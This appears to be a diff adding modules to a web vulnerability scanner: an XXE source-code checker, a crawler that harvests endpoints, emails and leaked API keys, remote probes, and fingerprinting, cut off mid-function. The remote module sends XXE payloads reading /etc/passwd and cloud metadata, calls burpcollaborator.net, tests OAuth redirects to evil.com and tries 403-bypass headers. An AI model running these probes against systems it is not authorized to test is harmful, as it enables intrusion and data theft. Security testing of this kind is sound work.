+ { pattern: /DOMDocument.*loadXML\s*\(\s*\$_(?:GET|POST|REQUEST)/gi, name: 'PHP DOMDocument loadXML user input', severity: 'CRITICAL' },
29
+ { pattern: /LIBXML_NOENT/gi, name: 'PHP LIBXML_NOENT (entity substitution enabled)', severity: 'HIGH' },
30
+ { pattern: /resolve_entities\s*[:=]\s*true/gi, name: 'Entity resolution enabled', severity: 'HIGH' },
31
+ { pattern: /external_entities\s*[:=]\s*true/gi, name: 'External entities enabled', severity: 'CRITICAL' },
32
+ { pattern: /setFeature\s*\(\s*['"]http:\/\/xml\.org\/sax\/features\/external-general-entities['"]\s*,\s*true/gi, name: 'Java external entities enabled', severity: 'CRITICAL' },
33
+ { pattern: /DOCTYPE|ENTITY|SYSTEM/g, name: 'DOCTYPE/ENTITY declaration in file', severity: 'LOW' },
34
+ ];
35
+
36
+ for (const { pattern, name, severity } of xxePatterns) {
37
+ let match;
38
+ while ((match = pattern.exec(content)) !== null) {
39
+ const lineNum = content.substring(0, match.index).split('\n').length;
40
+ const line = lines[lineNum - 1]?.trim() || '';
41
+ if (isComment(line)) continue;
42
+
43
+ addFinding(
44
+ severity,
45
+ 'XXE (PortSwigger)',
46
+ `${name}`,
47
+ `File: ${relativePath}:${lineNum}\nCode: ${line.substring(0, 120)}`,
48
+ 'Disable external entity processing: set disallow-doctype-decl=true, external-general-entities=false. Use JSON instead of XML where possible. For Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)'
49
+ );
50
+ }
51
+ }
52
+ } catch {}
53
+ }
54
+ }
55
+
56
+ function isComment(line) {
57
+ return line.startsWith('//') || line.startsWith('#') || line.startsWith('*') || line.startsWith('<!--');
58
+ }
59
+
60
+ function getFiles(dir, files = []) {
61
+ try {
62
+ const entries = readdirSync(dir);
63
+ for (const entry of entries) {
64
+ if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
65
+ const fullPath = join(dir, entry);
66
+ try {
67
+ const stat = statSync(fullPath);
68
+ if (stat.isDirectory()) getFiles(fullPath, files);
69
+ else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 512 * 1024) files.push(fullPath);
70
+ } catch {}
71
+ }
72
+ } catch {}
73
+ return files;
74
+ }
@@ -0,0 +1,234 @@
1
+ import { addFinding } from '../core/findings.js';
2
+ import { fetchText } from '../utils/fetch.js';
3
+
4
+ export async function runCrawler(origin, spinner) {
5
+ spinner.text = '[Katana] Crawling target for endpoints...';
6
+
7
+ const discovered = {
8
+ urls: new Set(),
9
+ jsFiles: new Set(),
10
+ forms: [],
11
+ params: new Set(),
12
+ apiEndpoints: new Set(),
13
+ emails: new Set(),
14
+ subdomains: new Set(),
15
+ secrets: [],
16
+ };
17
+
18
+ try {
19
+ const resp = await fetchText(origin);
20
+ const body = resp.body;
21
+
22
+ extractUrls(body, origin, discovered);
23
+ extractJsFiles(body, origin, discovered);
24
+ extractForms(body, discovered);
25
+ extractParams(body, discovered);
26
+ extractEmails(body, discovered);
27
+
28
+ for (const jsUrl of [...discovered.jsFiles].slice(0, 20)) {
29
+ try {
30
+ spinner.text = `[Katana] Parsing JS: ${jsUrl.substring(0, 60)}...`;
31
+ const jsResp = await fetchText(jsUrl, {}, 8000);
32
+ extractEndpointsFromJs(jsResp.body, origin, discovered);
33
+ extractSecretsFromJs(jsResp.body, jsUrl, discovered);
34
+ } catch {}
35
+ }
36
+ } catch {}
37
+
38
+ if (discovered.apiEndpoints.size > 0) {
39
+ addFinding(
40
+ 'INFO',
41
+ 'Crawler (Katana)',
42
+ `Discovered ${discovered.apiEndpoints.size} API endpoints from JS`,
43
+ `Endpoints: ${[...discovered.apiEndpoints].slice(0, 10).join(', ')}${discovered.apiEndpoints.size > 10 ? '...' : ''}`,
44
+ 'Review discovered endpoints for authentication and authorization requirements'
45
+ );
46
+ }
47
+
48
+ if (discovered.forms.length > 0) {
49
+ addFinding(
50
+ 'INFO',
51
+ 'Crawler (Katana)',
52
+ `Discovered ${discovered.forms.length} forms`,
53
+ `Actions: ${discovered.forms.map(f => f.action).slice(0, 5).join(', ')}`,
54
+ 'Test discovered forms for injection vulnerabilities'
55
+ );
56
+
57
+ for (const form of discovered.forms) {
58
+ if (form.method === 'GET' && form.hasSensitiveFields) {
59
+ addFinding(
60
+ 'MEDIUM',
61
+ 'Crawler (Katana)',
62
+ 'Sensitive form uses GET method',
63
+ `Form action: ${form.action} - sends sensitive data in URL`,
64
+ 'Use POST method for forms that submit sensitive data (passwords, tokens, etc.)'
65
+ );
66
+ }
67
+ if (!form.hasCsrf && form.method === 'POST') {
68
+ addFinding(
69
+ 'MEDIUM',
70
+ 'Crawler (Katana)',
71
+ 'POST form without CSRF token',
72
+ `Form action: ${form.action}`,
73
+ 'Add CSRF token to all state-changing forms'
74
+ );
75
+ }
76
+ }
77
+ }
78
+
79
+ if (discovered.params.size > 0) {
80
+ addFinding(
81
+ 'INFO',
82
+ 'Crawler (Katana)',
83
+ `Discovered ${discovered.params.size} unique parameters`,
84
+ `Parameters: ${[...discovered.params].slice(0, 20).join(', ')}`,
85
+ 'Fuzz discovered parameters for injection vulnerabilities'
86
+ );
87
+ }
88
+
89
+ if (discovered.secrets.length > 0) {
90
+ for (const secret of discovered.secrets.slice(0, 5)) {
91
+ addFinding(
92
+ 'HIGH',
93
+ 'Crawler (Katana)',
94
+ `Secret found in JS bundle: ${secret.type}`,
95
+ `File: ${secret.file}\nValue: ${secret.value.substring(0, 20)}...`,
96
+ 'Remove secrets from client-side JavaScript. Use server-side proxying for API calls.'
97
+ );
98
+ }
99
+ }
100
+
101
+ if (discovered.emails.size > 0) {
102
+ addFinding(
103
+ 'LOW',
104
+ 'Crawler (Katana)',
105
+ `${discovered.emails.size} email addresses discovered`,
106
+ `Emails: ${[...discovered.emails].slice(0, 5).join(', ')}`,
107
+ 'Email addresses can be used for phishing and social engineering'
108
+ );
109
+ }
110
+
111
+ return discovered;
112
+ }
113
+
114
+ function extractUrls(html, origin, discovered) {
115
+ const urlPatterns = [
116
+ /href\s*=\s*['"]([^'"#]+)['"]/gi,
117
+ /src\s*=\s*['"]([^'"]+)['"]/gi,
118
+ /action\s*=\s*['"]([^'"]+)['"]/gi,
119
+ /url\s*\(\s*['"]?([^'")]+)['"]?\s*\)/gi,
120
+ /window\.location\s*=\s*['"]([^'"]+)['"]/gi,
121
+ ];
122
+
123
+ for (const pattern of urlPatterns) {
124
+ let match;
125
+ while ((match = pattern.exec(html)) !== null) {
126
+ let url = match[1];
127
+ if (url.startsWith('/')) url = origin + url;
128
+ else if (!url.startsWith('http')) continue;
129
+ if (url.startsWith(origin)) discovered.urls.add(url);
130
+ }
131
+ }
132
+ }
133
+
134
+ function extractJsFiles(html, origin, discovered) {
135
+ const jsPattern = /src\s*=\s*['"]([^'"]*\.(?:js|mjs|chunk\.js|bundle\.js)[^'"]*)['"]/gi;
136
+ let match;
137
+ while ((match = jsPattern.exec(html)) !== null) {
138
+ let url = match[1];
139
+ if (url.startsWith('/')) url = origin + url;
140
+ else if (url.startsWith('./')) url = origin + url.substring(1);
141
+ else if (!url.startsWith('http')) url = origin + '/' + url;
142
+ discovered.jsFiles.add(url);
143
+ }
144
+ }
145
+
146
+ function extractForms(html, discovered) {
147
+ const formPattern = /<form[^>]*>([\s\S]*?)<\/form>/gi;
148
+ let match;
149
+ while ((match = formPattern.exec(html)) !== null) {
150
+ const formHtml = match[0];
151
+ const action = formHtml.match(/action\s*=\s*['"]([^'"]*)['"]/i)?.[1] || '';
152
+ const method = (formHtml.match(/method\s*=\s*['"]([^'"]*)['"]/i)?.[1] || 'GET').toUpperCase();
153
+ const hasCsrf = /csrf|_token|authenticity_token|__RequestVerificationToken/i.test(formHtml);
154
+ const hasSensitiveFields = /type\s*=\s*['"]password['"]|name\s*=\s*['"](?:password|secret|token|card|ssn|credit)/i.test(formHtml);
155
+
156
+ const inputPattern = /name\s*=\s*['"]([^'"]+)['"]/gi;
157
+ let inputMatch;
158
+ while ((inputMatch = inputPattern.exec(formHtml)) !== null) {
159
+ discovered.params.add(inputMatch[1]);
160
+ }
161
+
162
+ discovered.forms.push({ action, method, hasCsrf, hasSensitiveFields });
163
+ }
164
+ }
165
+
166
+ function extractParams(html, discovered) {
167
+ const paramPatterns = [
168
+ /[?&]([a-zA-Z_][a-zA-Z0-9_]*)=/g,
169
+ /name\s*=\s*['"]([a-zA-Z_][a-zA-Z0-9_]*)['"]/g,
170
+ ];
171
+
172
+ for (const pattern of paramPatterns) {
173
+ let match;
174
+ while ((match = pattern.exec(html)) !== null) {
175
+ discovered.params.add(match[1]);
176
+ }
177
+ }
178
+ }
179
+
180
+ function extractEmails(html, discovered) {
181
+ const emailPattern = /[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g;
182
+ let match;
183
+ while ((match = emailPattern.exec(html)) !== null) {
184
+ if (!match[0].includes('example.com') && !match[0].includes('test.com')) {
185
+ discovered.emails.add(match[0]);
186
+ }
187
+ }
188
+ }
189
+
190
+ function extractEndpointsFromJs(jsContent, origin, discovered) {
191
+ const endpointPatterns = [
192
+ /['"`](\/api\/[^'"`\s{]+)['"`]/g,
193
+ /['"`](\/v[0-9]+\/[^'"`\s{]+)['"`]/g,
194
+ /['"`](\/(?:users?|admin|auth|login|register|graphql|webhook|upload|download|export|import|config|settings|profile|account|payment|order|cart|search|notify|message)[^'"`\s{]*)['"`]/g,
195
+ /(?:fetch|axios|http|request|ajax)\s*\(\s*['"`]([^'"`]+)['"`]/g,
196
+ /(?:url|endpoint|path|route|href)\s*[:=]\s*['"`](\/[^'"`]+)['"`]/g,
197
+ ];
198
+
199
+ for (const pattern of endpointPatterns) {
200
+ let match;
201
+ while ((match = pattern.exec(jsContent)) !== null) {
202
+ const endpoint = match[1];
203
+ if (endpoint.length > 2 && endpoint.length < 200 && !endpoint.includes('${')) {
204
+ discovered.apiEndpoints.add(endpoint);
205
+ }
206
+ }
207
+ }
208
+
209
+ const paramPattern = /['"`]\?([a-zA-Z_]+)=|['"`]&([a-zA-Z_]+)=/g;
210
+ let paramMatch;
211
+ while ((paramMatch = paramPattern.exec(jsContent)) !== null) {
212
+ discovered.params.add(paramMatch[1] || paramMatch[2]);
213
+ }
214
+ }
215
+
216
+ function extractSecretsFromJs(jsContent, fileUrl, discovered) {
217
+ const secretPatterns = [
218
+ { pattern: /AKIA[0-9A-Z]{16}/g, type: 'AWS Access Key' },
219
+ { pattern: /sk_live_[0-9a-zA-Z]{24,}/g, type: 'Stripe Secret Key' },
220
+ { pattern: /ghp_[A-Za-z0-9_]{36,}/g, type: 'GitHub Token' },
221
+ { pattern: /sk-[a-zA-Z0-9]{48}/g, type: 'OpenAI Key' },
222
+ { pattern: /xox[baprs]-[0-9a-zA-Z-]{10,}/g, type: 'Slack Token' },
223
+ { pattern: /AIza[0-9A-Za-z\-_]{35}/g, type: 'Google API Key' },
224
+ { pattern: /-----BEGIN (?:RSA |EC )?PRIVATE KEY-----/g, type: 'Private Key' },
225
+ ];
226
+
227
+ for (const { pattern, type } of secretPatterns) {
228
+ let match;
229
+ while ((match = pattern.exec(jsContent)) !== null) {
230
+ discovered.secrets.push({ type, value: match[0], file: fileUrl });
231
+ break;
232
+ }
233
+ }
234
+ }
@@ -0,0 +1,235 @@
1
+ import { addFinding } from '../core/findings.js';
2
+ import { fetchText } from '../utils/fetch.js';
3
+
4
+ export async function scanXxeRemote(origin, spinner) {
5
+ spinner.text = '[PortSwigger] Testing XXE injection...';
6
+ const xxePayloads = [
7
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
8
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><foo>&xxe;</foo>',
9
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://burpcollaborator.net/xxe">%xxe;]><foo>test</foo>',
10
+ ];
11
+
12
+ const xmlEndpoints = ['/api/upload', '/api/import', '/xmlrpc.php', '/soap', '/wsdl', '/api/parse'];
13
+
14
+ for (const endpoint of xmlEndpoints) {
15
+ for (const payload of xxePayloads.slice(0, 1)) {
16
+ try {
17
+ const resp = await fetchText(`${origin}${endpoint}`, {
18
+ method: 'POST',
19
+ headers: { 'Content-Type': 'application/xml' },
20
+ body: payload,
21
+ }, 5000);
22
+
23
+ if (/root:x:0|ami-id|instance-id/i.test(resp.body)) {
24
+ addFinding('CRITICAL', 'XXE (PortSwigger)', `XXE at ${endpoint} - file disclosure`, `Payload: ${payload.substring(0, 50)}... returned sensitive data`, 'Disable external entity processing in XML parser');
25
+ break;
26
+ }
27
+ if (resp.status === 200 && !resp.body.includes('error') && resp.body.includes('xml')) {
28
+ addFinding('LOW', 'XXE (PortSwigger)', `XML endpoint accepts input: ${endpoint}`, `Status: ${resp.status}`, 'Ensure XML parsing has external entities disabled');
29
+ }
30
+ } catch {}
31
+ }
32
+ }
33
+ }
34
+
35
+ export async function scanOauthRemote(origin, spinner) {
36
+ spinner.text = '[PortSwigger] Testing OAuth misconfigurations...';
37
+
38
+ const oauthPaths = ['/oauth/authorize', '/auth/callback', '/login/oauth', '/oauth2/authorize', '/.well-known/openid-configuration', '/oauth/token'];
39
+
40
+ for (const path of oauthPaths) {
41
+ try {
42
+ const resp = await fetchText(`${origin}${path}`, {}, 5000);
43
+ if (resp.status === 200 || resp.status === 302 || resp.status === 400) {
44
+ if (path.includes('well-known') && resp.status === 200) {
45
+ addFinding('INFO', 'OAuth (PortSwigger)', `OpenID Configuration exposed: ${path}`, `${origin}${path} returns OIDC metadata`, 'Review exposed OAuth configuration for sensitive details');
46
+
47
+ try {
48
+ const config = JSON.parse(resp.body);
49
+ if (config.grant_types_supported?.includes('implicit')) {
50
+ addFinding('MEDIUM', 'OAuth (PortSwigger)', 'OAuth implicit flow supported', 'Implicit grant type enabled in OIDC configuration', 'Disable implicit flow. Use authorization code with PKCE instead.');
51
+ }
52
+ } catch {}
53
+ }
54
+
55
+ const redirectTest = `${origin}${path}?redirect_uri=https://evil.com/callback&response_type=code&client_id=test`;
56
+ try {
57
+ const redirResp = await fetchText(redirectTest, { redirect: 'manual' }, 5000);
58
+ const location = redirResp.headers['location'] || '';
59
+ if (location.includes('evil.com')) {
60
+ addFinding('CRITICAL', 'OAuth (PortSwigger)', 'OAuth redirect_uri not validated', `Redirects to attacker domain: ${location.substring(0, 80)}`, 'Strictly validate redirect_uri against a whitelist of registered URIs');
61
+ }
62
+ } catch {}
63
+ }
64
+ } catch {}
65
+ }
66
+ }
67
+
68
+ export async function scanAccessControlRemote(origin, spinner) {
69
+ spinner.text = '[PortSwigger] Testing access control...';
70
+
71
+ const adminPaths = ['/admin', '/admin/', '/administrator', '/manage', '/dashboard', '/panel',
72
+ '/api/admin', '/api/users', '/api/admin/users', '/internal', '/_admin', '/system'];
73
+ const bypassHeaders = [
74
+ { 'X-Original-URL': '/admin' },
75
+ { 'X-Rewrite-URL': '/admin' },
76
+ { 'X-Custom-IP-Authorization': '127.0.0.1' },
77
+ { 'X-Forwarded-For': '127.0.0.1' },
78
+ { 'X-Real-IP': '127.0.0.1' },
79
+ { 'X-Forwarded-Host': 'localhost' },
80
+ ];
81
+
82
+ for (const path of adminPaths) {
83
+ try {
84
+ const resp = await fetchText(`${origin}${path}`, {}, 5000);
85
+ if (resp.status === 200) {
86
+ addFinding('HIGH', 'Access Control (PortSwigger)', `Admin panel accessible without auth: ${path}`, `${origin}${path} returns 200 OK`, 'Protect admin endpoints with authentication and role-based access control');
87
+ } else if (resp.status === 403) {
88
+ for (const headers of bypassHeaders) {
89
+ try {
90
+ const bypassResp = await fetchText(`${origin}${path}`, { headers }, 5000);
91
+ if (bypassResp.status === 200) {
92
+ addFinding('CRITICAL', 'Access Control (PortSwigger)', `403 bypass via ${Object.keys(headers)[0]}`, `${path} accessible with header: ${JSON.stringify(headers)}`, 'Do not rely on headers for access control. Implement server-side session-based authorization.');
93
+ break;
94
+ }
95
+ } catch {}
96
+ }
97
+ }
98
+ } catch {}
99
+ }
100
+
101
+ try {
102
+ const resp = await fetchText(`${origin}/robots.txt`, {}, 5000);
103
+ if (resp.status === 200) {
104
+ const disallowed = resp.body.match(/Disallow:\s*(.+)/gi) || [];
105
+ for (const line of disallowed) {
106
+ const path = line.replace(/Disallow:\s*/i, '').trim();
107
+ if (/admin|internal|private|secret|backup|config/i.test(path)) {
108
+ addFinding('LOW', 'Access Control (PortSwigger)', `Sensitive path in robots.txt: ${path}`, 'robots.txt reveals restricted paths', 'Robots.txt is not access control. Protect paths with authentication.');
109
+ }
110
+ }
111
+ }
112
+ } catch {}
113
+ }
114
+
115
+ export async function scanWebCacheDeception(origin, spinner) {
116
+ spinner.text = '[PortSwigger] Testing Web Cache Deception...';
117
+
118
+ const staticExtensions = ['.css', '.js', '.png', '.jpg', '.gif', '.ico', '.svg', '.woff'];
119
+ const testPaths = ['/account', '/profile', '/settings', '/dashboard', '/my-account'];
120
+
121
+ for (const path of testPaths) {
122
+ for (const ext of staticExtensions.slice(0, 3)) {
123
+ try {
124
+ const resp = await fetchText(`${origin}${path}${ext}`, {}, 5000);
125
+ const cacheHeaders = resp.headers['x-cache'] || resp.headers['cf-cache-status'] || resp.headers['age'] || '';
126
+
127
+ if (resp.status === 200 && cacheHeaders) {
128
+ addFinding('HIGH', 'Cache Deception (PortSwigger)', `Potential Web Cache Deception: ${path}${ext}`, `Cached response for path with static extension. Cache header: ${cacheHeaders}`, 'Configure cache to respect Content-Type, not URL extension. Use Cache-Control: no-store for authenticated pages.');
129
+ break;
130
+ }
131
+ } catch {}
132
+ }
133
+ }
134
+
135
+ try {
136
+ const pathConfusion = await fetchText(`${origin}/static/..%2f..%2fadmin`, {}, 5000);
137
+ if (pathConfusion.status === 200 && pathConfusion.body.length > 500) {
138
+ addFinding('HIGH', 'Cache Deception (PortSwigger)', 'Path normalization inconsistency detected', 'Double-encoded path traversal may bypass caching rules', 'Normalize paths consistently between cache and origin');
139
+ }
140
+ } catch {}
141
+ }
142
+
143
+ export async function scanParameterPollution(origin, spinner) {
144
+ spinner.text = '[PortSwigger] Testing Server-Side Parameter Pollution...';
145
+
146
+ const params = ['id', 'user', 'email', 'role', 'action', 'page'];
147
+
148
+ for (const param of params) {
149
+ try {
150
+ const normalResp = await fetchText(`${origin}/?${param}=test`, {}, 5000);
151
+ const pollutedResp = await fetchText(`${origin}/?${param}=test&${param}=admin`, {}, 5000);
152
+
153
+ if (normalResp.body !== pollutedResp.body && pollutedResp.status === 200) {
154
+ addFinding('MEDIUM', 'Parameter Pollution (PortSwigger)', `HTTP Parameter Pollution on ?${param}=`, 'Duplicate parameter produces different response', 'Handle duplicate parameters consistently. Use the first occurrence only.');
155
+ }
156
+ } catch {}
157
+ }
158
+
159
+ try {
160
+ const truncation = await fetchText(`${origin}/api/search?q=test%00admin&category=1`, {}, 5000);
161
+ if (truncation.status === 200 && truncation.body.includes('admin')) {
162
+ addFinding('HIGH', 'Parameter Pollution (PortSwigger)', 'Null byte parameter truncation', 'Server-side parameter truncation detected', 'Reject null bytes in input. Validate parameter boundaries.');
163
+ }
164
+ } catch {}
165
+ }
166
+
167
+ export async function scanFileUpload(origin, spinner) {
168
+ spinner.text = '[PortSwigger] Testing file upload endpoints...';
169
+
170
+ const uploadPaths = ['/upload', '/api/upload', '/api/files', '/api/images', '/api/avatar', '/media/upload', '/attachments'];
171
+
172
+ for (const path of uploadPaths) {
173
+ try {
174
+ const resp = await fetchText(`${origin}${path}`, { method: 'OPTIONS' }, 5000);
175
+ if (resp.status !== 404 && resp.status !== 405) {
176
+ addFinding('INFO', 'File Upload (PortSwigger)', `Upload endpoint found: ${path}`, `${origin}${path} responds to OPTIONS (status: ${resp.status})`, 'Test for unrestricted file upload: PHP/JSP shells, SVG XSS, polyglot files, double extensions (.php.jpg), null bytes (.php%00.jpg)');
177
+ }
178
+ } catch {}
179
+ }
180
+ }
181
+
182
+ export async function scanDomBased(origin, spinner) {
183
+ spinner.text = '[PortSwigger] Checking DOM-based vulnerability indicators...';
184
+
185
+ try {
186
+ const resp = await fetchText(origin);
187
+ const body = resp.body;
188
+
189
+ const domSinks = [
190
+ { pattern: /document\.write\s*\(/g, name: 'document.write()' },
191
+ { pattern: /\.innerHTML\s*=/g, name: 'innerHTML assignment' },
192
+ { pattern: /\.outerHTML\s*=/g, name: 'outerHTML assignment' },
193
+ { pattern: /eval\s*\(/g, name: 'eval()' },
194
+ { pattern: /setTimeout\s*\(\s*['"`]/g, name: 'setTimeout with string' },
195
+ { pattern: /setInterval\s*\(\s*['"`]/g, name: 'setInterval with string' },
196
+ { pattern: /location\s*=|location\.href\s*=/g, name: 'location assignment' },
197
+ { pattern: /\.src\s*=\s*(?:location|document\.URL|window\.name)/g, name: 'src from DOM source' },
198
+ { pattern: /jQuery\s*\(\s*(?:location|document\.URL)/g, name: 'jQuery selector from URL' },
199
+ { pattern: /\$\s*\(\s*(?:location|document\.URL|window\.location)/g, name: '$ selector from location' },
200
+ { pattern: /postMessage\s*\(/g, name: 'postMessage (check origin validation)' },
201
+ { pattern: /addEventListener\s*\(\s*['"]message['"]/g, name: 'message event listener (DOM XSS via postMessage)' },
202
+ ];
203
+
204
+ const domSources = [
205
+ /location\.(?:hash|search|href|pathname)/g,
206
+ /document\.(?:URL|documentURI|referrer|cookie)/g,
207
+ /window\.(?:name|location)/g,
208
+ /document\.getElementById\s*\([^)]*\)\.(?:value|innerHTML|textContent)/g,
209
+ ];
210
+
211
+ let sourceCount = 0;
212
+ for (const pattern of domSources) {
213
+ const matches = body.match(pattern);
214
+ if (matches) sourceCount += matches.length;
215
+ }
216
+
217
+ for (const { pattern, name } of domSinks) {
218
+ const matches = body.match(pattern);
219
+ if (matches && matches.length > 0) {
220
+ addFinding(
221
+ 'MEDIUM',
222
+ 'DOM-Based (PortSwigger)',
223
+ `DOM sink detected: ${name} (${matches.length} occurrences)`,
224
+ `Found in page source. ${sourceCount} DOM sources also detected.`,
225
+ 'Audit DOM sinks for user-controllable input flow. Use DOMPurify for HTML assignment. Avoid eval/setTimeout with strings.'
226
+ );
227
+ }
228
+ }
229
+ } catch {}
230
+ }
231
+
232
+ export async function scanHttp2(origin, spinner) {
233
+ spinner.text = '[PortSwigger] Checking HTTP/2 indicators...';
234
+ addFinding('INFO', 'HTTP/2 (PortSwigger)', 'HTTP/2 attack surface note', 'Test for H2.CL smuggling, H2.TE smuggling, HPACK header injection, and HTTP/2 exclusive vectors', 'Use Burp Suite HTTP/2 features to test for request smuggling via HTTP/2 downgrade');
235
+ }
@@ -0,0 +1,217 @@
1
+ import { addFinding } from '../core/findings.js';
2
+ import { fetchText, fetchWithTimeout } from '../utils/fetch.js';
3
+ import crypto from 'crypto';
4
+
5
+ export async function runProbe(origin, spinner) {
6
+ spinner.text = '[httpx] Probing target...';
7
+
8
+ const results = {
9
+ statusCode: null,
10
+ title: '',
11
+ technologies: [],
12
+ server: '',
13
+ contentLength: 0,
14
+ responseTime: 0,
15
+ tls: {},
16
+ cdn: null,
17
+ waf: null,
18
+ faviconHash: null,
19
+ headers: {},
20
+ };
21
+
22
+ try {
23
+ const start = Date.now();
24
+ const resp = await fetchText(origin);
25
+ results.responseTime = Date.now() - start;
26
+ results.statusCode = resp.status;
27
+ results.headers = resp.headers;
28
+ results.contentLength = resp.body.length;
29
+
30
+ results.title = extractTitle(resp.body);
31
+ results.server = resp.headers['server'] || '';
32
+ results.technologies = detectTechnologies(resp.headers, resp.body);
33
+ results.cdn = detectCdn(resp.headers);
34
+ results.waf = detectWaf(resp.headers, resp.body);
35
+
36
+ spinner.text = '[httpx] Checking favicon hash...';
37
+ results.faviconHash = await getFaviconHash(origin);
38
+
39
+ spinner.text = '[httpx] Analyzing TLS certificate...';
40
+ results.tls = await getTlsInfo(origin);
41
+
42
+ spinner.text = '[httpx] Virtual host discovery...';
43
+ await vhostDiscovery(origin, resp.body.length, spinner);
44
+
45
+ } catch {}
46
+
47
+ addFinding(
48
+ 'INFO',
49
+ 'Probe (httpx)',
50
+ `Target fingerprint: ${results.title || 'N/A'}`,
51
+ `Status: ${results.statusCode} | Server: ${results.server || 'hidden'} | Size: ${results.contentLength}B | Time: ${results.responseTime}ms\nTechnologies: ${results.technologies.join(', ') || 'none detected'}\nCDN: ${results.cdn || 'none'} | WAF: ${results.waf || 'none'} | Favicon hash: ${results.faviconHash || 'N/A'}`,
52
+ 'Technology fingerprinting helps identify version-specific vulnerabilities'
53
+ );
54
+
55
+ if (results.waf) {
56
+ addFinding(
57
+ 'INFO',
58
+ 'Probe (httpx)',
59
+ `WAF detected: ${results.waf}`,
60
+ `Web Application Firewall identified via response headers/behavior`,
61
+ 'WAF may need bypass techniques for testing. Try encoding, case variation, and chunked payloads.'
62
+ );
63
+ }
64
+
65
+ if (results.cdn) {
66
+ addFinding(
67
+ 'INFO',
68
+ 'Probe (httpx)',
69
+ `CDN detected: ${results.cdn}`,
70
+ 'Content Delivery Network fronts the origin server',
71
+ 'Consider testing the origin server directly if IP can be found (via DNS history, email headers, or certificate transparency)'
72
+ );
73
+ }
74
+
75
+ if (results.responseTime > 5000) {
76
+ addFinding(
77
+ 'LOW',
78
+ 'Probe (httpx)',
79
+ 'Slow response time detected',
80
+ `Response took ${results.responseTime}ms`,
81
+ 'Slow responses may indicate resource exhaustion vulnerability potential'
82
+ );
83
+ }
84
+
85
+ return results;
86
+ }
87
+
88
+ function extractTitle(html) {
89
+ const match = html.match(/<title[^>]*>([^<]+)<\/title>/i);
90
+ return match ? match[1].trim().substring(0, 100) : '';
91
+ }
92
+
93
+ function detectTechnologies(headers, body) {
94
+ const techs = [];
95
+ const checks = [
96
+ { test: () => headers['x-powered-by']?.includes('Express'), name: 'Express.js' },
97
+ { test: () => headers['x-powered-by']?.includes('PHP'), name: 'PHP' },
98
+ { test: () => headers['x-powered-by']?.includes('ASP.NET'), name: 'ASP.NET' },
99
+ { test: () => headers['x-aspnet-version'], name: `ASP.NET ${headers['x-aspnet-version'] || ''}` },
100
+ { test: () => headers['x-drupal-cache'], name: 'Drupal' },
101
+ { test: () => headers['x-generator']?.includes('WordPress'), name: 'WordPress' },
102
+ { test: () => headers['x-shopify-stage'], name: 'Shopify' },
103
+ { test: () => body.includes('__next'), name: 'Next.js' },
104
+ { test: () => body.includes('__nuxt') || body.includes('nuxt'), name: 'Nuxt.js' },
105
+ { test: () => body.includes('ng-version') || body.includes('ng-app'), name: 'Angular' },
106
+ { test: () => body.includes('data-reactroot') || body.includes('__NEXT_DATA__'), name: 'React' },
107
+ { test: () => body.includes('data-v-') || body.includes('Vue.js'), name: 'Vue.js' },
108
+ { test: () => body.includes('svelte'), name: 'Svelte' },
109
+ { test: () => body.includes('data-astro'), name: 'Astro' },
110
+ { test: () => body.includes('wp-content') || body.includes('wp-includes'), name: 'WordPress' },
111
+ { test: () => body.includes('Joomla'), name: 'Joomla' },
112
+ { test: () => body.includes('laravel'), name: 'Laravel' },
113
+ { test: () => body.includes('django') || headers['x-frame-options'] === 'SAMEORIGIN' && body.includes('csrfmiddlewaretoken'), name: 'Django' },
114
+ { test: () => body.includes('rails') || headers['x-request-id'] && headers['x-runtime'], name: 'Ruby on Rails' },
115
+ { test: () => body.includes('spring') || headers['x-application-context'], name: 'Spring Boot' },
116
+ { test: () => headers['server']?.toLowerCase().includes('nginx'), name: 'Nginx' },
117
+ { test: () => headers['server']?.toLowerCase().includes('apache'), name: 'Apache' },
118
+ { test: () => headers['server']?.toLowerCase().includes('iis'), name: 'IIS' },
119
+ { test: () => headers['server']?.toLowerCase().includes('gunicorn'), name: 'Gunicorn' },
120
+ { test: () => headers['server']?.toLowerCase().includes('uvicorn'), name: 'Uvicorn (ASGI)' },
121
+ { test: () => body.includes('firebase') || body.includes('firebaseapp'), name: 'Firebase' },
122
+ { test: () => body.includes('supabase'), name: 'Supabase' },
123
+ { test: () => body.includes('tailwind') || body.includes('tw-'), name: 'Tailwind CSS' },
124
+ { test: () => body.includes('bootstrap'), name: 'Bootstrap' },
125
+ { test: () => body.includes('jquery') || body.includes('jQuery'), name: 'jQuery' },
126
+ { test: () => body.includes('gtag') || body.includes('google-analytics'), name: 'Google Analytics' },
127
+ { test: () => body.includes('hotjar'), name: 'Hotjar' },
128
+ { test: () => body.includes('sentry'), name: 'Sentry' },
129
+ { test: () => body.includes('stripe'), name: 'Stripe' },
130
+ { test: () => body.includes('recaptcha'), name: 'reCAPTCHA' },
131
+ { test: () => body.includes('cloudflare'), name: 'Cloudflare' },
132
+ { test: () => body.includes('vercel'), name: 'Vercel' },
133
+ { test: () => body.includes('netlify'), name: 'Netlify' },
134
+ { test: () => body.includes('graphql'), name: 'GraphQL' },
135
+ { test: () => body.includes('socket.io'), name: 'Socket.IO' },
136
+ { test: () => body.includes('webpack'), name: 'Webpack' },
137
+ { test: () => body.includes('vite'), name: 'Vite' },
138
+ ];
139
+
140
+ for (const { test, name } of checks) {
141
+ try { if (test()) techs.push(name); } catch {}
142
+ }
143
+
144
+ return [...new Set(techs)];
145
+ }
146
+
147
+ function detectCdn(headers) {
148
+ if (headers['cf-ray'] || headers['cf-cache-status']) return 'Cloudflare';
149
+ if (headers['x-amz-cf-id'] || headers['x-amz-cf-pop']) return 'AWS CloudFront';
150
+ if (headers['x-fastly-request-id']) return 'Fastly';
151
+ if (headers['x-akamai-transformed']) return 'Akamai';
152
+ if (headers['x-cdn'] === 'Imperva') return 'Imperva';
153
+ if (headers['x-sucuri-id']) return 'Sucuri';
154
+ if (headers['x-azure-ref']) return 'Azure CDN';
155
